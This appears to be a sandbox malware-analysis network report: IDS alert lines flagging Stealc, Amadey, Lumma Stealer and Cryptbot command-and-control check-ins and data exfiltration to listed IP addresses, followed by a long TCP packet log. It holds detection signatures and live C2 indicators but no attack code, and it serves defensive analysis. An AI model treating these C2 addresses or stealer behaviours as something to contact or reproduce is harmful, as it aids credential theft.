2024-11-29T19:49:09.110831+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-29T19:49:09.436324+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-29T19:49:09.750667+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-29T19:49:11.177249+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-29T19:49:12.276916+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-29T19:49:39.758597+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49772	185.215.113.206	80	TCP
2024-11-29T19:49:41.885058+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49772	185.215.113.206	80	TCP
2024-11-29T19:49:43.213618+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49772	185.215.113.206	80	TCP
2024-11-29T19:49:44.584078+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49772	185.215.113.206	80	TCP
2024-11-29T19:49:48.327833+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49772	185.215.113.206	80	TCP
2024-11-29T19:49:49.431477+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49772	185.215.113.206	80	TCP
2024-11-29T19:49:55.054274+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49809	185.215.113.16	80	TCP
2024-11-29T19:50:09.079091+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49844	185.215.113.43	80	TCP
2024-11-29T19:50:13.648108+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49856	185.215.113.16	80	TCP
2024-11-29T19:50:19.132077+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49852	TCP
2024-11-29T19:50:20.267653+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49872	104.21.16.9	443	TCP
2024-11-29T19:50:20.523961+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49873	185.215.113.43	80	TCP
2024-11-29T19:50:21.234007+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49872	104.21.16.9	443	TCP
2024-11-29T19:50:21.234007+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49872	104.21.16.9	443	TCP
2024-11-29T19:50:22.023996+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49877	185.215.113.16	80	TCP
2024-11-29T19:50:22.557757+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49880	104.21.16.9	443	TCP
2024-11-29T19:50:23.340713+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49880	104.21.16.9	443	TCP
2024-11-29T19:50:23.340713+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49880	104.21.16.9	443	TCP
2024-11-29T19:50:25.022114+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49888	104.21.16.9	443	TCP
2024-11-29T19:50:25.974549+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49888	104.21.16.9	443	TCP
2024-11-29T19:50:27.496293+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49894	104.21.16.9	443	TCP
2024-11-29T19:50:28.970150+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49896	185.215.113.43	80	TCP
2024-11-29T19:50:30.396138+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49903	104.21.16.9	443	TCP
2024-11-29T19:50:30.473946+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49902	185.215.113.16	80	TCP
2024-11-29T19:50:30.799215+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49901	185.215.113.206	80	TCP
2024-11-29T19:50:33.232010+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49910	104.21.16.9	443	TCP
2024-11-29T19:50:36.360101+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49918	185.215.113.43	80	TCP
2024-11-29T19:50:36.962714+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49922	104.21.16.9	443	TCP
2024-11-29T19:50:36.998374+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49921	104.21.16.9	443	TCP
2024-11-29T19:50:37.895715+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49923	185.215.113.16	80	TCP
2024-11-29T19:50:38.008264+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49922	104.21.16.9	443	TCP
2024-11-29T19:50:38.008264+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49922	104.21.16.9	443	TCP
2024-11-29T19:50:39.995957+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49933	104.21.16.9	443	TCP
2024-11-29T19:50:41.053781+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49933	104.21.16.9	443	TCP
2024-11-29T19:50:41.053781+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49933	104.21.16.9	443	TCP
2024-11-29T19:50:42.973507+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49946	104.21.16.9	443	TCP
2024-11-29T19:50:44.078947+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49946	104.21.16.9	443	TCP
2024-11-29T19:50:44.368943+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49951	104.21.16.9	443	TCP
2024-11-29T19:50:45.833024+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49955	185.215.113.16	80	TCP
2024-11-29T19:50:46.489324+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49957	185.215.113.43	80	TCP
2024-11-29T19:50:48.048899+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49962	31.41.244.11	80	TCP
2024-11-29T19:50:48.503454+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49967	104.21.16.9	443	TCP
2024-11-29T19:50:49.872768+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49975	185.215.113.206	80	TCP
2024-11-29T19:50:52.068527+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49982	104.21.16.9	443	TCP
2024-11-29T19:50:56.198794+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49993	104.21.16.9	443	TCP
2024-11-29T19:50:59.916335+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50000	185.215.113.43	80	TCP
2024-11-29T19:51:00.011188+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50001	104.21.16.9	443	TCP
2024-11-29T19:51:00.015846+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	50001	104.21.16.9	443	TCP
2024-11-29T19:51:01.428603+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50006	31.41.244.11	80	TCP
2024-11-29T19:51:04.072113+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50019	104.21.16.9	443	TCP
2024-11-29T19:51:04.846409+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50019	104.21.16.9	443	TCP
2024-11-29T19:51:06.362840+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50026	185.215.113.16	80	TCP
2024-11-29T19:51:09.777345+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50038	185.215.113.43	80	TCP
2024-11-29T19:51:11.288702+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50048	31.41.244.11	80	TCP
2024-11-29T19:51:21.111981+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50088	185.215.113.206	80	TCP
2024-11-29T19:51:22.832911+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50109	185.215.113.43	80	TCP
2024-11-29T19:51:45.265578+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50147	34.118.84.150	80	TCP
2024-11-29T19:51:46.985630+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50149	34.118.84.150	80	TCP
2024-11-29T19:52:13.921695+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50192	52.182.143.212	443	TCP
2024-11-29T19:53:16.974916+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50223	20.42.73.29	443	TCP
2024-11-29T19:53:55.925246+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50237	52.168.112.67	443	TCP
2024-11-29T19:55:33.596520+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	50273	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2024 19:48:59.833878040 CET	49675	443	192.168.2.5	23.1.237.91
Nov 29, 2024 19:48:59.833883047 CET	49674	443	192.168.2.5	23.1.237.91
Nov 29, 2024 19:48:59.958847046 CET	49673	443	192.168.2.5	23.1.237.91
Nov 29, 2024 19:49:06.413388014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:06.533519030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:06.533643961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:06.533853054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:06.655888081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:07.879230976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:07.879321098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:07.887600899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:08.009473085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:08.346668005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:08.346754074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:08.347738981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:08.467767954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:08.793605089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:08.793694973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:08.793709993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:08.793764114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:08.989485025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:08.989625931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:08.990912914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:09.110831022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:09.436247110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:09.436274052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:09.436323881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:09.436372042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:09.437176943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:09.437227964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:09.437247038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:09.437259912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:09.437316895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:09.438035965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:09.438080072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:09.438087940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:09.438118935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:09.443150043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:09.443169117 CET	49675	443	192.168.2.5	23.1.237.91
Nov 29, 2024 19:49:09.443172932 CET	49674	443	192.168.2.5	23.1.237.91
Nov 29, 2024 19:49:09.443196058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:09.443294048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:09.443341970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:09.568242073 CET	49673	443	192.168.2.5	23.1.237.91
Nov 29, 2024 19:49:09.628077984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:09.628173113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:09.629679918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:09.750667095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:10.075726032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:10.075825930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:10.092187881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:10.092250109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:10.212389946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:10.212403059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:10.212441921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:10.212451935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:10.212512016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:10.212532043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:10.212624073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:11.177130938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:11.177248955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:11.833462000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:11.953629017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:11.964720011 CET	443	49703	23.1.237.91	192.168.2.5
Nov 29, 2024 19:49:11.964868069 CET	49703	443	192.168.2.5	23.1.237.91
Nov 29, 2024 19:49:12.276844025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.276909113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.276916027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.276971102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.279236078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.279289007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.279325008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.279371023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.287755013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.287820101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.287853956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.287897110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.296345949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.296422958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.296464920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.296516895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.304918051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.304969072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.305219889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.305267096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.313433886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.313487053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.408076048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.408149958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.408205986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.408233881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.412374973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.412451982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.413254976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.413305998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.413330078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.413352966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.418272018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.418346882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.418375015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.418420076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.426928043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.426980972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.427114964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.427160978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.435375929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.435441017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.435460091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.435514927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.443938017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.443989038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.468750000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.468826056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.468868017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.468909979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.472996950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.473046064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.474622965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.474656105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.474677086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.474692106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.483207941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.483270884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.483280897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.483319998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.489743948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.489814997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.489849091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.489905119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.498357058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.498433113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.498460054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.498509884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.506903887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.506972075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.507013083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.507050991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.515443087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.515518904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.515523911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.515563011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.540201902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.540265083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.540333033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.540378094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.544034004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.544090033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.544151068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.544198036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.551667929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.551737070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.551775932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.551822901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.559350014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.559405088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.600217104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.600294113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.600374937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.600430012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.603535891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.603590965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.603668928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.603730917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.610141039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.610200882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.612556934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.612611055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.612646103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.612688065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.619267941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.619328976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.619337082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.619380951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.625483036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.625540972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.625621080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.625669956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.631372929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.631427050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.631453037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.631490946 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.636972904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.637033939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.637121916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.637166023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.642610073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.642661095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.642754078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.642800093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.648104906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.648161888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.648256063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.648304939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.653363943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.653418064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.653472900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.653506994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.660794973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.660857916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.660878897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.660900116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.662761927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.662842035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.662883043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.662926912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.666611910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.666676998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.668054104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.668111086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.668176889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.668215990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.671926022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.671992064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.672111034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.672164917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.675828934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.675910950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.675940037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:12.675981998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:12.679440022 CET	80	49704	185.215.113.206	192.168.2.5
